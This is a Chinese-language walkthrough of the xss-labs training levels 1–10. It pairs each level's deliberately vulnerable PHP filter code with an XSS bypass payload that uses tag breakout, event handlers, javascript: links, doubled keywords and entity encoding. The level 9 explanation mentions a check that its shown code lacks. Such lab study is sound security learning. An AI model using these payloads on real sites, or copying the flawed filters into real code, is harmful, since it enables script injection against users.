目录

xss-labs-master

level_1

代码

分析

level_2

代码

分析

level_3

代码

分析

level_4

代码

分析

level_5

代码

分析

level_6

代码

分析

level_7

代码

分析

level_8

代码

分析

level_9

代码

分析

level_10

代码

分析


xss-labs-master

level_1

代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

分析

通过$_GET["name"]接收用户传来的name参数,嵌入到HTML页面中,并且没有进行过滤

可以在传递name参数时,传递含有js的代码,进行XSS攻击

<script> 标签中包含一段 JavaScript 代码,用于重写 window.alert 方法。当调用 alert 时,会弹出一个确认框,并跳转到 level2.php?keyword=test

level_2

代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

分析

依旧是通过$_GET["keyword"]来接收用户传来的keyword参数值,

对传递来的参数值进行过滤

htmlspecialchars — 将特殊字符转换为 HTML 实体

那么在h2标签之中的恶意代码就会被htmlspecialchars编码,<、>被编码成html字符实体

但是,,在 <input> 标签的 value 属性中直接使用了 $str,而没有进行过滤

将属性的引号和标签先闭合

<input name=keyword value=""><script>alert('XSS')</script><"">

level_3

代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

分析

显然,后端对$str进行了过滤处理

但是利用 HTML 事件属性,仍然可以恶意执行脚本

输入包含事件处理函数,如 onclick、onload 

即使进行了过滤,仍然可以绕过部分防护

在表单中输入

'οnclick='alert("XSS")

点击搜索,当鼠标在输入框中点击时,触发事件,完成xss攻击

level_4

代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析

str_replace — 子字符串替换

去除$str中的<,>

对输出进行了过滤,但是对input标签中的value属性中没有进行过滤

因此可以利用 HTML 实体编码绕过str_replace的过滤

level_5

代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析

检查发现

尝试使用上一关的方法

这里就要用到a标签的 href属性了,尝试注入

构造payload

"><a href="javascript:alert();">xx</a><"

发现页面多了个标签,点击

level_6

代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析

尝试使用上一关payload

"><a href="javascript:alert();">xx</a><"

分析源码,href变成了hr_ef

尝试大小写

"> <a HREF=javascript:alert()>x</a> <"

可以点击链接

level_7

代码

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析

尝试大小写绕过

尝试一下双写

" ><sscriptcript>alert()</sscriptcript>< "

level_8

代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

分析

尝试大小写,双写

失败

尝试利用href的隐藏属性自动Unicode解码,插入一段js伪协议

javascript:alert()
利用在线工具进行Unicode编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

level_9

代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

分析

当传入的参数不包含"http://"时,即其值为假(false),将触发if语句的执行

在参数中添加"http://",以防止其被实际执行,这会影响到弹窗的显示

需要构造一个特定的输入(payload),使其满足函数的预期行为

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* <http://> */

level_10

代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

分析

多了个get的参数,可以尝试后面的type="hidden"入手,或者给type="text"

t_sort=" οnfοcus="javascript:alert()" type="

更多推荐